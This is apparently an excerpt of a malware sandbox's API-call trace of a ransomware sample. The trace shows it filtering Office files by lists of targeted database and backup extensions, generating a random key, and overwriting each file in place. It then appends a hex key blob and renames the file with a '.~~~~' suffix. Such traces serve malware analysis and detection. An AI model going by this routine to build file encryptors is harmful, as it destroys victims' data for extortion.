	[0145.162] lstrlenW (lpString=".cpl") returned 4
	[0145.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".cpl") returned 0x0
	[0145.163] lstrlenW (lpString=".sys") returned 4
	[0145.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".sys") returned 0x0
	[0145.163] lstrlenW (lpString=".msc") returned 4
	[0145.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".msc") returned 0x0
	[0145.163] lstrlenW (lpString=".com") returned 4
	[0145.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".com") returned 0x0
	[0145.163] lstrlenW (lpString=".lnk") returned 4
	[0145.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".lnk") returned 0x0
	[0145.163] lstrlenW (lpString=".msp") returned 4
	[0145.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".msp") returned 0x0
	[0145.163] lstrlenW (lpString=".pif") returned 4
	[0145.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".pif") returned 0x0
	[0145.163] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0145.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.165] lstrlenW (lpString=".sqb") returned 4
	[0145.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".sqb") returned 0x0
	[0145.166] lstrlenW (lpString=".ost") returned 4
	[0145.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".ost") returned 0x0
	[0145.166] lstrlenW (lpString=".txt") returned 4
	[0145.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".txt") returned 0x0
	[0145.166] lstrlenW (lpString=".mdt") returned 4
	[0145.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".mdt") returned 0x0
	[0145.166] lstrlenW (lpString=".BDB") returned 4
	[0145.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".BDB") returned 0x0
	[0145.166] lstrlenW (lpString=".eql") returned 4
	[0145.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".eql") returned 0x0
	[0145.166] lstrlenW (lpString=".DBF") returned 4
	[0145.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".DBF") returned 0x0
	[0145.166] lstrlenW (lpString=".EQL") returned 4
	[0145.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".EQL") returned 0x0
	[0145.166] lstrlenW (lpString=".FDB") returned 4
	[0145.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".FDB") returned 0x0
	[0145.596] lstrlenW (lpString=".EDB") returned 4
	[0145.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".EDB") returned 0x0
	[0145.596] lstrlenW (lpString=".DACPAC") returned 7
	[0145.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".DACPAC") returned 0x0
	[0145.596] lstrlenW (lpString=".VHD") returned 4
	[0145.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".VHD") returned 0x0
	[0145.596] lstrlenW (lpString=".DBV") returned 4
	[0145.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".DBV") returned 0x0
	[0145.596] lstrlenW (lpString=".dacpac") returned 7
	[0145.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".dacpac") returned 0x0
	[0145.596] lstrlenW (lpString=".sdf") returned 4
	[0145.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".sdf") returned 0x0
	[0145.596] lstrlenW (lpString=".accdb") returned 6
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".accdb") returned 0x0
	[0145.597] lstrlenW (lpString=".DBX") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".DBX") returned 0x0
	[0145.597] lstrlenW (lpString=".MDT") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".MDT") returned 0x0
	[0145.597] lstrlenW (lpString=".SQB") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".SQB") returned 0x0
	[0145.597] lstrlenW (lpString=".vhd") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".vhd") returned 0x0
	[0145.597] lstrlenW (lpString=".bac") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".bac") returned 0x0
	[0145.597] lstrlenW (lpString=".mdf") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".mdf") returned 0x0
	[0145.597] lstrlenW (lpString=".BAK") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".BAK") returned 0x0
	[0145.597] lstrlenW (lpString=".BAC") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".BAC") returned 0x0
	[0145.597] lstrlenW (lpString=".dbs") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".dbs") returned 0x0
	[0145.597] lstrlenW (lpString=".vhdx") returned 5
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".vhdx") returned 0x0
	[0145.597] lstrlenW (lpString=".NDF") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".NDF") returned 0x0
	[0145.597] lstrlenW (lpString=".dat") returned 4
	[0145.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".dat") returned 0x0
	[0145.598] lstrlenW (lpString=".DBS") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".DBS") returned 0x0
	[0145.598] lstrlenW (lpString=".CKP") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".CKP") returned 0x0
	[0145.598] lstrlenW (lpString=".edb") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".edb") returned 0x0
	[0145.598] lstrlenW (lpString=".PST") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".PST") returned 0x0
	[0145.598] lstrlenW (lpString=".dbf") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".dbf") returned 0x0
	[0145.598] lstrlenW (lpString=".SQL") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".SQL") returned 0x0
	[0145.598] lstrlenW (lpString=".pst") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".pst") returned 0x0
	[0145.598] lstrlenW (lpString=".dbv") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".dbv") returned 0x0
	[0145.598] lstrlenW (lpString=".SDF") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".SDF") returned 0x0
	[0145.598] lstrlenW (lpString=".dtxs") returned 5
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".dtxs") returned 0x0
	[0145.598] lstrlenW (lpString=".db3") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".db3") returned 0x0
	[0145.598] lstrlenW (lpString=".OST") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".OST") returned 0x0
	[0145.598] lstrlenW (lpString=".dbx") returned 4
	[0145.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".dbx") returned 0x0
	[0145.598] lstrlenW (lpString=".DB3") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".DB3") returned 0x0
	[0145.599] lstrlenW (lpString=".DAT") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".DAT") returned 0x0
	[0145.599] lstrlenW (lpString=".VHDX") returned 5
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".VHDX") returned 0x0
	[0145.599] lstrlenW (lpString=".ndf") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".ndf") returned 0x0
	[0145.599] lstrlenW (lpString=".DB") returned 3
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".DB") returned 0x0
	[0145.599] lstrlenW (lpString=".sql") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".sql") returned 0x0
	[0145.599] lstrlenW (lpString=".MYD") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".MYD") returned 0x0
	[0145.599] lstrlenW (lpString=".DBT") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".DBT") returned 0x0
	[0145.599] lstrlenW (lpString=".ACCDB") returned 6
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".ACCDB") returned 0x0
	[0145.599] lstrlenW (lpString=".fdb") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".fdb") returned 0x0
	[0145.599] lstrlenW (lpString=".bak") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".bak") returned 0x0
	[0145.599] lstrlenW (lpString=".myd") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".myd") returned 0x0
	[0145.599] lstrlenW (lpString=".DTXS") returned 5
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".DTXS") returned 0x0
	[0145.599] lstrlenW (lpString=".ckp") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".ckp") returned 0x0
	[0145.599] lstrlenW (lpString=".dbt") returned 4
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".dbt") returned 0x0
	[0145.599] lstrlenW (lpString=".db") returned 3
	[0145.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".db") returned 0x0
	[0145.600] lstrlenW (lpString=".TXT") returned 4
	[0145.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".TXT") returned 0x0
	[0145.600] lstrlenW (lpString=".MDF") returned 4
	[0145.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".MDF") returned 0x0
	[0145.600] lstrlenW (lpString=".bdb") returned 4
	[0145.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".bdb") returned 0x0
	[0145.600] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.600] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.601] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.601] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.601] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26559122596) returned 1
	[0145.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc02fdbd0, dwHighDateTime=0x1d60e1e)) 
	[0145.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3802a8
	[0145.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3802a8 | out: hHeap=0x300000) returned 1
	[0145.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37dd38
	[0145.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.602] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.602] GetLastError () returned 0x0
	[0145.602] GetLastError () returned 0x0
	[0145.602] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.602] GetLastError () returned 0x0
	[0145.602] GetLastError () returned 0x0
	[0145.603] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.607] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.608] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.608] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.612] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.612] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.612] CloseHandle (hObject=0x114) returned 1
	[0145.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37dd38
	[0145.612] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.~~~~")) returned 1
	[0145.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37dd38 | out: hHeap=0x300000) returned 1
	[0145.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.615] GetLastError () returned 0x0
	[0145.615] RtlWakeConditionVariable () returned 0x0
	[0145.615] GetCurrentThreadId () returned 0x9cc
	[0145.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.615] lstrlenW (lpString=".cmd") returned 4
	[0145.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.615] lstrlenW (lpString=".dll") returned 4
	[0145.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.615] lstrlenW (lpString=".bat") returned 4
	[0145.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.615] lstrlenW (lpString=".cpl") returned 4
	[0145.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.615] lstrlenW (lpString=".sys") returned 4
	[0145.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.615] lstrlenW (lpString=".msc") returned 4
	[0145.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.615] lstrlenW (lpString=".com") returned 4
	[0145.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".com") returned 0x0
	[0145.615] lstrlenW (lpString=".lnk") returned 4
	[0145.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.616] lstrlenW (lpString=".msp") returned 4
	[0145.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.616] lstrlenW (lpString=".pif") returned 4
	[0145.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.616] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.618] lstrlenW (lpString=".sqb") returned 4
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.618] lstrlenW (lpString=".ost") returned 4
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.618] lstrlenW (lpString=".txt") returned 4
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.618] lstrlenW (lpString=".mdt") returned 4
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.618] lstrlenW (lpString=".BDB") returned 4
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.618] lstrlenW (lpString=".eql") returned 4
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.618] lstrlenW (lpString=".DBF") returned 4
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.618] lstrlenW (lpString=".EQL") returned 4
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.618] lstrlenW (lpString=".FDB") returned 4
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.618] lstrlenW (lpString=".EDB") returned 4
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.618] lstrlenW (lpString=".DACPAC") returned 7
	[0145.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.618] lstrlenW (lpString=".VHD") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.619] lstrlenW (lpString=".DBV") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.619] lstrlenW (lpString=".dacpac") returned 7
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.619] lstrlenW (lpString=".sdf") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.619] lstrlenW (lpString=".accdb") returned 6
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.619] lstrlenW (lpString=".DBX") returned 4
